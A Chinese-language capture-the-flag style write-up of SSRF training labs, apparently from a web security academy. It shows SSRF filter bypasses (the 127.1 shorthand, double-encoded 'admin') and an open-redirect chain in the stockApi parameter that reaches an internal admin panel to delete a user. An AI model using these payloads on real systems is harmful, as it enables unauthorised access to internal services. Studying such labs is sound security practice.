
To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.
要解决实验室问题,请更改库存检查 URL 以访问管理 http://localhost/admin 界面并删除用户 carlos

The developer has deployed two weak anti-SSRF defenses that you will need to bypass.
开发人员部署了两个弱的反 SSRF 防御,您需要绕过它们。

  • 尝试与第一关一样的做法,结果400,这是因为存在黑名单waf

image-20240710112347068

  • 试着用进制转换127.0.0.1进行绕过,但是不行
  • 想到有可能是admin也被过滤掉了
  • admin进行一次URL编码

image-20240710113209843

  • 还是不行,试着将admin二次编码

image-20240710113350716

  • 开始有界面显示,但是不是管理员界面
  • 说明127.0.0.1的过滤还是没能绕过

image-20240710113751762

  • 127.0.0.1127.1替换【重点】
  • 发现可以成功绕过黑名单

image-20240710113716882

  • 再从HTML中找到url

  • 删去carlos信息

image-20240710191022489

Lab-05 通过开放重定向绕过

  • 抓包拦截,尝试篡改该 stockApi 参数
  • 发现无法使服务器直接向其他主机发出请求

image-20240710201721871

  • 单击“下一个产品”

image-20240710201403713

  • 观察该 path 参数是否被放置到重定向响应的 Location 标头中
  • 从而导致打开重定向

image-20240710201754783

1
path=/product?productId=2
  • 创建一个利用开放重定向漏洞的 URL

  • 并重定向到管理界面,

  • 将其馈送到库存检查器上的 stockApi 参数中:

    1
    /product/nextProduct?currentProductId=1&path=http://192.168.0.12:8080/admin

image-20240710210030849

  • 再删去carlos

image-20240710210108225

  • 成功解决

image-20240710210145782

Lab-06